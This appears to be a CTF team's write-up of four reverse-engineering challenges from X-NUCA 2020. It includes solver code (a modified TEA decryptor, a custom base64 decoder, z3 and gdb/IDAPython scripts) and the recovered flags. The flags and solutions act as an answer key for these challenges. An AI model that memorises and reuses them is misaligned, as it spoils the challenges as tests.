X-NUCA'2020 WriteUp - CNSS

Reverse

hellowasm

通过调试和瞎猜,输入会通过一个base64,但是会和key = [0xa,0xb,0xc,0xd]做异或,

之后进入一个虚拟机,调试发现其只使用了几条指令,其中运算指令就xor用的最多,于是对xor的时候下断点进行分析,可以猜到其异或逻辑,之后直接按照规则异或回来即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
In [50]: key11  = '''44DE4F9927AC36BE
...: 68B817B50BDA5FEE
...: 22F043E14A9C4EC2
...: 68FF54E55B883B8A
...: 50D80BAD06D467D5
...: 2FFD4AC56FE058F9
...: 0DD773FB52853684
...: E3'''.splitlines()

In [51]: rk=''
...: for i in key11:
...: rk += i.decode('hex')[::-1]
...:

In [52]: len(rk)
Out[52]: 57

In [53]: res = ''

In [54]: for i in xrange(1,len(rk)):
...: res += chr(0xee ^ ord(rk[i-1]) ^ ord(rk[i]))
...:

In [55]: res
Out[55]: 'fteP8\x7ftD_k?PLA>Db<8EL]<F_]=P_EyS\\]<EH=fGOVaDaY<E\\]9GfJ4\x00'

In [56]: res = 'P' + res

In [57]: s2
Out[57]: 'PfteS\\JeS\\JeS\\JeS\\JeS\\JeS\\JeS\\JeS\\JeS\\JeS\\JeS\\JeS\\JeS\\Je'

In [58]: res
Out[58]: 'PfteP8\x7ftD_k?PLA>Db<8EL]<F_]=P_EyS\\]<EH=fGOVaDaY<E\\]9GfJ4\x00'

In [59]: de2 = ''
...: for i in xrange(len(s1)):
...: de2 += chr(ord(res[i]) ^ key[i%4])
...:

In [60]: de2
Out[60]: 'ZmxhZ3syNTg2ZGM3Ni05OGQ1LTQ0ZTItYWQ1OC1kMDZlNjU1OWQ4MmF9'

In [61]: b64decode(de2)
Out[61]: 'flag{2586dc76-98d5-44e2-ad58-d06e6559d82a}'

babyarm

一个究极魔改TEA,blocksize128

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
#define _CRT_SECURE_NO_WARNINGS

#include <assert.h>
#include <emmintrin.h>
#include <stdint.h>
#include <stdio.h>
#include "defs.h"

void p(BYTE* d, int len) {
for (auto i = 0; i < len; i++) {
printf(",0x%02x" + !i, (uint8_t)d[i]);
}
printf("\n");
}

// decrypt this to get flag
uint8_t to_dec[] = {0x13, 0xf0, 0x61, 0xb0, 0x7e, 0x56, 0xc8, 0xb3, 0xc7, 0xa3, 0x52, 0x99, 0x3f, 0x2d, 0x1c, 0x45, 0x67, 0x22, 0xe3, 0x3e, 0x3e, 0x2b, 0xe2, 0xe3, 0x50, 0xa2, 0xe5, 0x43, 0xd0, 0x8e, 0xb2, 0x59, 0xdc, 0x49, 0x86, 0xf, 0x83, 0xd0, 0xf4, 0x9b, 0x10, 0x81, 0x57, 0x8a, 0x4f, 0xec, 0x4, 0x86, 0x7f, 0xa2, 0xb5, 0x2e, 0xf3, 0xdd, 0x17, 0x12, 0x53, 0xb2, 0xc9, 0x93, 0x43, 0x8e, 0x7f, 0xdc, 0x00};

void* __fastcall XXxxxXXXXxXxxXXXXTEAEnc(int a1) {
void* result; // r0
int v2; // r4
int v3; // r5
int* v4; // lr
unsigned int v5; // r6
unsigned int v6; // r2
char v7; // r2
char v8; // r3
unsigned int var15; // r3
unsigned int var6; // r10
unsigned int var9; // r9
unsigned int var10; // r8
unsigned int var11; // r7
unsigned int var12; // r6
unsigned int var13; // r5
unsigned int var14; // r4
unsigned int sum; // r0
unsigned int v18; // r2
int v19; // r1
unsigned __int8* v20; // r3
BYTE* v21; // lr
int v22; // r1
int v23; // t1
int v24; // t1
unsigned int var2; // [sp+4h] [bp-6Ch]
unsigned int var4; // [sp+8h] [bp-68h]
unsigned int var5; // [sp+Ch] [bp-64h]
unsigned int var1; // [sp+10h] [bp-60h]
unsigned int var3; // [sp+14h] [bp-5Ch]
unsigned int var7; // [sp+18h] [bp-58h]
unsigned int var8; // [sp+1Ch] [bp-54h]
unsigned int var0; // [sp+20h] [bp-50h]
unsigned int _var15; // [sp+24h] [bp-4Ch]
int round = 0; // [sp+28h] [bp-48h]
int key[4]; // [sp+34h] [bp-3Ch]

v4 = (int*)a1;
key[0] = 2;
key[1] = 2;
key[2] = 3;
key[3] = 4;
if (round <= 15) {
var15 = v4[15];
var1 = v4[1];
var6 = v4[6];
var0 = *v4;
var9 = v4[9];
var2 = v4[2];
var10 = v4[10];
var3 = v4[3];
var11 = v4[11];
var4 = v4[4];
var12 = v4[12];
var5 = v4[5];
var13 = v4[13];
var7 = v4[7];
var14 = v4[14];
var8 = v4[8];
do {
sum = 0;
do {
sum -= 0x61C88647;
var0 += (((var1 >> 3) ^ (16 * var15)) + ((4 * var1) ^ (var15 >> 5))) ^ ((var15 ^ *(int*)((char*)key + (sum & 0xC))) + (var1 ^ sum));
var1 += ((key[((unsigned __int8)(sum >> 2) ^ 1) & 3] ^ var0) + (var2 ^ sum)) ^ (((var2 >> 3) ^ (16 * var0)) + ((4 * var2) ^ (var0 >> 5)));
var2 += ((key[((unsigned __int8)(sum >> 2) ^ 2) & 3] ^ var1) + (var3 ^ sum)) ^ (((var3 >> 3) ^ (16 * var1)) + ((4 * var3) ^ (var1 >> 5)));
var3 += ((key[((unsigned __int8)(sum >> 2) ^ 3) & 3] ^ var2) + (var4 ^ sum)) ^ (((var4 >> 3) ^ (16 * var2)) + ((4 * var4) ^ (var2 >> 5)));
var4 += ((key[(sum >> 2) & 3] ^ var3) + (var5 ^ sum)) ^ (((var5 >> 3) ^ (16 * var3)) + ((4 * var5) ^ (var3 >> 5)));
var5 += ((key[((unsigned __int8)(sum >> 2) ^ 5) & 3] ^ var4) + (var6 ^ sum)) ^ (((var6 >> 3) ^ (16 * var4)) + ((4 * var6) ^ (var4 >> 5)));
var6 += ((key[((unsigned __int8)(sum >> 2) ^ 6) & 3] ^ var5) + (var7 ^ sum)) ^ (((var7 >> 3) ^ (16 * var5)) + ((4 * var7) ^ (var5 >> 5)));
var7 += ((key[((unsigned __int8)(sum >> 2) ^ 7) & 3] ^ var6) + (var8 ^ sum)) ^ (((var8 >> 3) ^ (16 * var6)) + ((4 * var8) ^ (var6 >> 5)));
var8 += (((key[(sum >> 2) & 3] ^ var7) + (var9 ^ sum)) ^ (((var9 >> 3) ^ (16 * var7)) + ((4 * var9) ^ (var7 >> 5))));
var9 += ((key[((unsigned __int8)(sum >> 2) ^ 9) & 3] ^ var8) + (var10 ^ sum)) ^ (((var10 >> 3) ^ (16 * var8)) + ((4 * var10) ^ (var8 >> 5)));

var10 += ((key[((unsigned __int8)(sum >> 2) ^ 0xA) & 3] ^ var9) + (var11 ^ sum)) ^ (((var11 >> 3) ^ (16 * var9)) + ((4 * var11) ^ (var9 >> 5)));
var11 += ((key[((unsigned __int8)(sum >> 2) ^ 0xB) & 3] ^ var10) + (var12 ^ sum)) ^ (((var12 >> 3) ^ (16 * var10)) + ((4 * var12) ^ (var10 >> 5)));
var12 += ((key[(sum >> 2) & 3] ^ var11) + (var13 ^ sum)) ^ (((var13 >> 3) ^ (16 * var11)) + ((4 * var13) ^ (var11 >> 5)));
var13 += (((var14 >> 3) ^ (16 * var12)) + ((4 * var14) ^ (var12 >> 5))) ^ ((key[((unsigned __int8)(sum >> 2) ^ 0xD) & 3] ^ var12) + (var14 ^ sum));
var14 += (((var15 >> 3) ^ (16 * var13)) + ((4 * var15) ^ (var13 >> 5))) ^ ((key[((unsigned __int8)(sum >> 2) ^ 0xE) & 3] ^ var13) + (var15 ^ sum));
var15 += (((var0 >> 3) ^ (16 * var14)) + ((4 * var0) ^ (var14 >> 5))) ^ ((key[((unsigned __int8)(sum >> 2) ^ 0xF) & 3] ^ var14) + (var0 ^ sum));
*v4 = var0;
v4[1] = var1;
v4[2] = var2;
v4[3] = var3;
v4[4] = var4;
v4[5] = var5;
v4[7] = var7;
v4[6] = var6;
v4[8] = var8;
v4[9] = var9;
v4[10] = var10;
v4[11] = var11;
v4[12] = var12;
v4[13] = var13;
v4[14] = var14;
v4[15] = var15;
} while (sum != 0x8FF34781);
++round;
} while (round != 16);
}
return 0;
}

void* __fastcall XXxxxXXXXxXxxXXXXTEADec(int a1) {
void* result; // r0
int v2; // r4
int v3; // r5
int* v4; // lr
unsigned int v5; // r6
unsigned int v6; // r2
char v7; // r2
char v8; // r3
unsigned int var15; // r3
unsigned int var6; // r10
unsigned int var9; // r9
unsigned int var10; // r8
unsigned int var11; // r7
unsigned int var12; // r6
unsigned int var13; // r5
unsigned int var14; // r4
unsigned int sum; // r0
unsigned int v18; // r2
int v19; // r1
unsigned __int8* v20; // r3
BYTE* v21; // lr
int v22; // r1
int v23; // t1
int v24; // t1
unsigned int var2; // [sp+4h] [bp-6Ch]
unsigned int var4; // [sp+8h] [bp-68h]
unsigned int var5; // [sp+Ch] [bp-64h]
unsigned int var1; // [sp+10h] [bp-60h]
unsigned int var3; // [sp+14h] [bp-5Ch]
unsigned int var7; // [sp+18h] [bp-58h]
unsigned int var8; // [sp+1Ch] [bp-54h]
unsigned int var0; // [sp+20h] [bp-50h]
unsigned int _var15; // [sp+24h] [bp-4Ch]
int round = 0; // [sp+28h] [bp-48h]
int key[4]; // [sp+34h] [bp-3Ch]

v4 = (int*)a1;
key[0] = 2;
key[1] = 2;
key[2] = 3;
key[3] = 4;
if (round <= 15) {
var15 = v4[15];
var1 = v4[1];
var6 = v4[6];
var0 = *v4;
var9 = v4[9];
var2 = v4[2];
var10 = v4[10];
var3 = v4[3];
var11 = v4[11];
var4 = v4[4];
var12 = v4[12];
var5 = v4[5];
var13 = v4[13];
var7 = v4[7];
var14 = v4[14];
var8 = v4[8];
do {
sum = 0x8FF34781;
do {
var15 -= (((var0 >> 3) ^ (16 * var14)) + ((4 * var0) ^ (var14 >> 5))) ^ ((key[((unsigned __int8)(sum >> 2) ^ 0xF) & 3] ^ var14) + (var0 ^ sum));

var14 -= (((var15 >> 3) ^ (16 * var13)) + ((4 * var15) ^ (var13 >> 5))) ^ ((key[((unsigned __int8)(sum >> 2) ^ 0xE) & 3] ^ var13) + (var15 ^ sum));
var13 -= (((var14 >> 3) ^ (16 * var12)) + ((4 * var14) ^ (var12 >> 5))) ^ ((key[((unsigned __int8)(sum >> 2) ^ 0xD) & 3] ^ var12) + (var14 ^ sum));
var12 -= ((key[(sum >> 2) & 3] ^ var11) + (var13 ^ sum)) ^ (((var13 >> 3) ^ (16 * var11)) + ((4 * var13) ^ (var11 >> 5)));
var11 -= ((key[((unsigned __int8)(sum >> 2) ^ 0xB) & 3] ^ var10) + (var12 ^ sum)) ^ (((var12 >> 3) ^ (16 * var10)) + ((4 * var12) ^ (var10 >> 5)));
var10 -= ((key[((unsigned __int8)(sum >> 2) ^ 0xA) & 3] ^ var9) + (var11 ^ sum)) ^ (((var11 >> 3) ^ (16 * var9)) + ((4 * var11) ^ (var9 >> 5)));
var9 -= ((key[((unsigned __int8)(sum >> 2) ^ 9) & 3] ^ var8) + (var10 ^ sum)) ^ (((var10 >> 3) ^ (16 * var8)) + ((4 * var10) ^ (var8 >> 5)));
var8 -= (((key[(sum >> 2) & 3] ^ var7) + (var9 ^ sum)) ^ (((var9 >> 3) ^ (16 * var7)) + ((4 * var9) ^ (var7 >> 5))));
var7 -= ((key[((unsigned __int8)(sum >> 2) ^ 7) & 3] ^ var6) + (var8 ^ sum)) ^ (((var8 >> 3) ^ (16 * var6)) + ((4 * var8) ^ (var6 >> 5)));
var6 -= ((key[((unsigned __int8)(sum >> 2) ^ 6) & 3] ^ var5) + (var7 ^ sum)) ^ (((var7 >> 3) ^ (16 * var5)) + ((4 * var7) ^ (var5 >> 5)));
var5 -= ((key[((unsigned __int8)(sum >> 2) ^ 5) & 3] ^ var4) + (var6 ^ sum)) ^ (((var6 >> 3) ^ (16 * var4)) + ((4 * var6) ^ (var4 >> 5)));
var4 -= ((key[(sum >> 2) & 3] ^ var3) + (var5 ^ sum)) ^ (((var5 >> 3) ^ (16 * var3)) + ((4 * var5) ^ (var3 >> 5)));
var3 -= ((key[((unsigned __int8)(sum >> 2) ^ 3) & 3] ^ var2) + (var4 ^ sum)) ^ (((var4 >> 3) ^ (16 * var2)) + ((4 * var4) ^ (var2 >> 5)));

var2 -= ((key[((unsigned __int8)(sum >> 2) ^ 2) & 3] ^ var1) + (var3 ^ sum)) ^ (((var3 >> 3) ^ (16 * var1)) + ((4 * var3) ^ (var1 >> 5)));
var1 -= ((key[((unsigned __int8)(sum >> 2) ^ 1) & 3] ^ var0) + (var2 ^ sum)) ^ (((var2 >> 3) ^ (16 * var0)) + ((4 * var2) ^ (var0 >> 5)));
var0 -= (((var1 >> 3) ^ (16 * var15)) + ((4 * var1) ^ (var15 >> 5))) ^ ((var15 ^ *(int*)((char*)key + (sum & 0xC))) + (var1 ^ sum));

*v4 = var0;
v4[1] = var1;
v4[2] = var2;
v4[3] = var3;
v4[4] = var4;
v4[5] = var5;
v4[7] = var7;
v4[6] = var6;
v4[8] = var8;
v4[9] = var9;
v4[10] = var10;
v4[11] = var11;
v4[12] = var12;
v4[13] = var13;
v4[14] = var14;
v4[15] = var15;

sum += 0x61C88647;
} while (sum != 0);
++round;
} while (round != 16);
}
return 0;
}

void coherency_check() {
uint8_t src[64] = {0};
memset(src, 0x31, 64);
uint8_t src_bak[64] = {0};
memcpy(src_bak, src, 64);
XXxxxXXXXxXxxXXXXTEAEnc((int)src);
XXxxxXXXXxXxxXXXXTEADec((int)src);
assert(!memcmp(src, src_bak, 64));
}

int main() {
coherency_check();
XXxxxXXXXxXxxXXXXTEADec((int)to_dec);
printf("%s", to_dec);
return 0;
}

Unravel MFC

前33bytes做rc4_like_encrypt然后做modified_base64encode,后32bytes做modified_tea_encrypt,总长度要求66,解出来之后中间猜一个’f’

解前一部分:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
// output: Fr4nk1y_MfC_l5_t0O_ComPIeX_4nd_dl
#include <memory.h>
#include <stdio.h>
#include <stdlib.h>
#include <cstring>
#define padding_char '='

char *base64_decode(const char *data, int data_len);

int main(int argc, char *argv[]) {
char dec1[] = "$HM%/NEX,79PBN\\C/BQLVSW,*/'8T#UMC4%EG@@@,.%5";
unsigned char rc4_xor_keys[] = {0x40, 0x28, 0xb6, 0x5c, 0xd3, 0x84, 0x5c, 0x1a, 0xe0, 0x18, 0xfd, 0x3f, 0x5d, 0xce, 0xf6, 0xbb, 0x3d, 0x46, 0x43, 0x82, 0x7a, 0xa9, 0x5c, 0xe3, 0xe4, 0x48, 0xfd, 0xa5, 0xb9, 0x39, 0x7b, 0xd4, 0xfe};
char *dec = base64_decode(dec1, 44);

for (auto i = 0; i < 33; i++) {
dec[i] ^= rc4_xor_keys[i];
}
printf("%s", dec);

free(dec);
return 0;
}

static char find_pos(char ch) {
return ch - 35; // directly minus 35 instead of looking up inside the base table
/*
char *ptr = (char*)strrchr(base, ch);//the last position (the only) in base[]
return (ptr - base);
*/
}

char *base64_decode(const char *data, int data_len) {
int ret_len = (data_len / 4) * 3;
int equal_count = 0;
char *ret = NULL;
char *f = NULL;
int tmp = 0;
int temp = 0;
int prepare = 0;
int i = 0;
if (*(data + data_len - 1) == padding_char) {
equal_count += 1;
}
if (*(data + data_len - 2) == padding_char) {
equal_count += 1;
}
if (*(data + data_len - 3) == padding_char) { //seems impossible
equal_count += 1;
}
switch (equal_count) {
case 0:
ret_len += 4; //3 + 1 [1 for NULL]
break;
case 1:
ret_len += 4; //Ceil((6*3)/8)+1
break;
case 2:
ret_len += 3; //Ceil((6*2)/8)+1
break;
case 3:
ret_len += 2; //Ceil((6*1)/8)+1
break;
}
ret = (char *)malloc(ret_len);
if (ret == NULL) {
printf("No enough memory.\n");
exit(0);
}
memset(ret, 0, ret_len);
f = ret;
while (tmp < (data_len - equal_count)) {
temp = 0;
prepare = 0;
while (temp < 4) {
if (tmp >= (data_len - equal_count)) {
break;
}
prepare = (prepare << 6) | (find_pos(data[tmp]));
temp++;
tmp++;
}
prepare = prepare << ((4 - temp) * 6);
for (i = 0; i < 3; i++) {
if (i == temp) {
break;
}
*f = (char)((prepare >> ((2 - i) * 8)) & 0xFF);
f++;
}
}
*f = '\0';
return ret;
}

解后面的部分:

Use z3py to get the final result of TEA:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# output: [3262352701727045364, 16084101041927844095, 7830893152465779821, 16783048594668704748]
from z3 import *

v7 = [BitVec(f'v{i}', 64) for i in range(4)]

s = Solver()
s.add(v7[1] == 0xDF3634AE2F9970FF)
s.add(ULT(v7[0],v7[2]))
s.add(ULT(v7[2],v7[3]))
s.add(v7[2] - v7[0] == 0x3F66B755B4490579)
s.add(v7[0] + v7[3] == 0x162F924623D2CAE0)
s.add(v7[3] - v7[2] == 0x7C3C71F1B295D77F)


while s.check() == sat:
result = []
for i in range(4):
result.append(s.model()[v7[i]].as_long())
print(result)
s.add(Or(*[v != s.model()[v] for v in v7]))

最后拼接起来并加个’f’:

Fr4nk1y_MfC_l5_t0O_ComPIeX_4nd_dlff1cUlt_foR_THe_r0Ok1E_t0_REver5e

repair

先跑一下trace,发现程序在0x010BEA这个地方进行相减,如果不为0就直接失败,所以先把这个地方patch一下,然后用gdb脚本跑一个完整的log

gdb脚本跑log:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
set arch arm
b *0x119EC
target remote 127.0.0.1:1234
python f = open('log','w+')
while(1)
if $pc==0x119EC
python s = gdb.parse_and_eval('*(unsigned int*)($sp)')
python f.write(hex(int(str(s))) + '\n')
python f.flush()
continue
else
continue
end
end

用idapython提取指令:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
s = open('./logmain').read().splitlines()
ss = []
while True:
try:
t = s.index('0x10beb')
except:
break
ss.append(s[:t] + ['0x10beb','0x11607','0x11485','0x11935'])
s = s[t+1:]
print(len(ss))
s = ss[28]
ins = []
ins_flag = 0
ins_bytes = b''
import idc,ida_bytes
start = 0x10A54 + 1
while ins_flag <= len(s):
true_start = start - 1
idc.create_insn(true_start)
now_ins = idc.GetDisasm(true_start)
next_addr = true_start
while "UND" not in now_ins and 'PUSH {R0-R5,R7}' not in now_ins and 'PUSH {R7,LR}' not in now_ins:
#ins.append(now_ins)
next_addr_t = idc.next_head(next_addr)
ins_bytes += ida_bytes.get_bytes(next_addr,next_addr_t-next_addr)
next_addr = next_addr_t
now_ins = idc.GetDisasm(next_addr)
# print(now_ins)
if ins_flag >= len(s):break
start = int(s[ins_flag],16)
ins_flag += 1
if ins_flag % 100 == 0:
print(ins_flag)

f = open('dumpins_add','wb')
f.write(ins_bytes)
f.close()p

通过观察可以发现,程序每8个字节进行校验,校验的过程有点像方程,一共校验了40次,所以直接根据判断的指令将log分开,然后依次分析

其中一次验证类似于下面的形式:

进行了一通操作之后判断相减是否为0

直接拖进z3发现是sat,但是手动提取所有的方程非常的慢,于是猜测flag字符集为小写字母,通过测试可以解出可读的正确结果,所以此时通过小写字母来约束变量,在只有1-2个方程的情况下也可以求出正解,减少了工作量

最后的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
from pwn import *
from z3 import *


a22 = open('dump_array.txt').read().decode('hex')
a2 = []
for i in a22:
a2.append(ord(i))

def get_int(o):
return u32(a22[o:o+4])

def get_int2(o):
return get_int(o*4)

so = Solver()
a3 = ['0'] * 256

a1 = []
for i in xrange(38):
t = BitVec(str(i),32)
if i != 37:so.add(Or(And(t >= ord('a'),t <= ord('z')),t == ord('_')))
a1.append(t)
a1.append(ord('}'))
a1.append(0)
so.add(a1[12] == ord('n'))
# so.add(a1[12] == ord('n'))

already_so = 'repairing_control_flow_is_interesting'
for i in xrange(len(already_so)):
so.add(ord(already_so[i]) == a1[i])



a3[a2[1]] = (16975111 * (a2[1] + 127)) ^ get_int( 2)
a3[a2[7]] = (16975111 * (a2[7] + 127)) ^ get_int2( 2)
a3[a2[13]] = (16975111 * (a2[13] + 127)) ^ get_int( 14)
a3[a2[19]] = (16975111 * (a2[19] + 127)) ^ get_int2( 5)
a3[a2[25]] = (16975111 * (a2[25] + 127)) ^ a1[(16975111* (a2[26] + 127)) ^ a3[a2[26]]]
a3[a2[28]] = (16975111 * (a2[28] + 127)) ^ get_int( 29)
a3[a2[34]] = (16975111 * (a2[34] + 127)) ^ a3[a2[36]] ^ (16975111 * (a2[36] + 127)) ^ (16975111 * (a2[35] + 127)) ^ a3[a2[35]]
a3[a2[38]] = (16975111 * (a2[38] + 127)) ^ ((a3[a2[40]] ^ (16975111 * (a2[40] + 127)))- ((16975111* (a2[39] + 127)) ^ a3[a2[39]]))
a3[a2[42]] = (16975111 * (a2[42] + 127)) ^ get_int( 43)
a3[a2[48]] = (16975111 * (a2[48] + 127)) ^ a1[(16975111* (a2[49] + 127)) ^ a3[a2[49]]]
a3[a2[51]] = (16975111 * (a2[51] + 127)) ^ get_int2( 13)
a3[a2[57]] = (16975111 * (a2[57] + 127)) ^ a3[a2[59]] ^ (16975111 * (a2[59] + 127)) ^ (16975111 * (a2[58] + 127)) ^ a3[a2[58]]
a3[a2[61]] = (16975111 * (a2[61] + 127)) ^ ((a3[a2[63]] ^ (16975111 * (a2[63] + 127)))- ((16975111* (a2[62] + 127)) ^ a3[a2[62]]))
a3[a2[65]] = (16975111 * (a2[65] + 127)) ^ get_int( 66)
a3[a2[71]] = (16975111 * (a2[71] + 127)) ^ a1[(16975111* (a2[72] + 127)) ^ a3[a2[72]]]
a3[a2[74]] = (16975111 * (a2[74] + 127)) ^ get_int( 75)
a3[a2[80]] = (16975111 * (a2[80] + 127)) ^ a3[a2[82]] ^ (16975111 * (a2[82] + 127)) ^ (16975111 * (a2[81] + 127)) ^ a3[a2[81]]
a3[a2[84]] = (16975111 * (a2[84] + 127)) ^ ((a3[a2[86]] ^ (16975111 * (a2[86] + 127)))- ((16975111* (a2[85] + 127)) ^ a3[a2[85]]))
a3[a2[88]] = (16975111 * (a2[88] + 127)) ^ get_int( 89)
a3[a2[94]] = (16975111 * (a2[94] + 127)) ^ a1[(16975111* (a2[95] + 127)) ^ a3[a2[95]]]
a3[a2[97]] = (16975111 * (a2[97] + 127)) ^ get_int( 98)
a3[a2[103]] = (16975111 * (a2[103] + 127)) ^ ((a3[a2[105]] ^ (16975111 * (a2[105] + 127)))* ((16975111* (a2[104] + 127)) ^ a3[a2[104]]))
a3[a2[107]] = (16975111 * (a2[107] + 127)) ^ ((a3[a2[109]] ^ (16975111 * (a2[109] + 127)))+ ((16975111* (a2[108] + 127)) ^ a3[a2[108]]))
a3[a2[111]] = (16975111 * (a2[111] + 127)) ^ get_int2( 28)
a3[a2[117]] = (16975111 * (a2[117] + 127)) ^ a1[(16975111 * (a2[118] + 127)) ^ a3[a2[118]]]
a3[a2[120]] = (16975111 * (a2[120] + 127)) ^ get_int( 121)
a3[a2[126]] = (16975111 * (a2[126] + 127)) ^ ((a3[a2[128]] ^ (16975111 * (a2[128] + 127)))* ((16975111* (a2[127] + 127)) ^ a3[a2[127]]))
a3[a2[130]] = (16975111 * (a2[130] + 127)) ^ ((a3[a2[132]] ^ (16975111 * (a2[132] + 127)))+ ((16975111* (a2[131] + 127)) ^ a3[a2[131]]))
a3[a2[134]] = (16975111 * (a2[134] + 127)) ^ get_int( 135)
a3[a2[140]] = (16975111 * (a2[140] + 127)) ^ a1[(16975111 * (a2[141] + 127)) ^ a3[a2[141]]]
a3[a2[143]] = (16975111 * (a2[143] + 127)) ^ get_int2( 36)
a3[a2[149]] = (16975111 * (a2[149] + 127)) ^ a3[a2[151]] ^ (16975111 * (a2[151] + 127)) ^ (16975111 * (a2[150] + 127)) ^ a3[a2[150]]
a3[a2[153]] = (16975111 * (a2[153] + 127)) ^ ((a3[a2[155]] ^ (16975111 * (a2[155] + 127)))+ ((16975111* (a2[154] + 127)) ^ a3[a2[154]]))
a3[a2[157]] = (16975111 * (a2[157] + 127)) ^ get_int( 158)
a3[a2[163]] = (16975111 * (a2[163] + 127)) ^ a1[(16975111 * (a2[164] + 127)) ^ a3[a2[164]]]
a3[a2[166]] = (16975111 * (a2[166] + 127)) ^ get_int( 167)
a3[a2[172]] = (16975111 * (a2[172] + 127)) ^ ((a3[a2[174]] ^ (16975111 * (a2[174] + 127)))* ((16975111* (a2[173] + 127)) ^ a3[a2[173]]))
a3[a2[176]] = (16975111 * (a2[176] + 127)) ^ ((a3[a2[178]] ^ (16975111 * (a2[178] + 127)))+ ((16975111* (a2[177] + 127)) ^ a3[a2[177]]))
a3[a2[180]] = (16975111 * (a2[180] + 127)) ^ get_int( 181)
a3[a2[186]] = (16975111 * (a2[186] + 127)) ^ a1[(16975111 * (a2[187] + 127)) ^ a3[a2[187]]]
a3[a2[189]] = (16975111 * (a2[189] + 127)) ^ get_int( 190)
a3[a2[195]] = (16975111 * (a2[195] + 127)) ^ a3[a2[197]] ^ (16975111 * (a2[197] + 127)) ^ (16975111 * (a2[196] + 127)) ^ a3[a2[196]]
a3[a2[199]] = (16975111 * (a2[199] + 127)) ^ ((a3[a2[201]] ^ (16975111 * (a2[201] + 127)))- ((16975111* (a2[200] + 127)) ^ a3[a2[200]]))
a3[a2[203]] = (16975111 * (a2[203] + 127)) ^ get_int2( 51)
a3[a2[209]] = (16975111 * (a2[209] + 127)) ^ ((a3[a2[211]] ^ (16975111 * (a2[211] + 127)))- ((16975111* (a2[210] + 127)) ^ a3[a2[210]]))

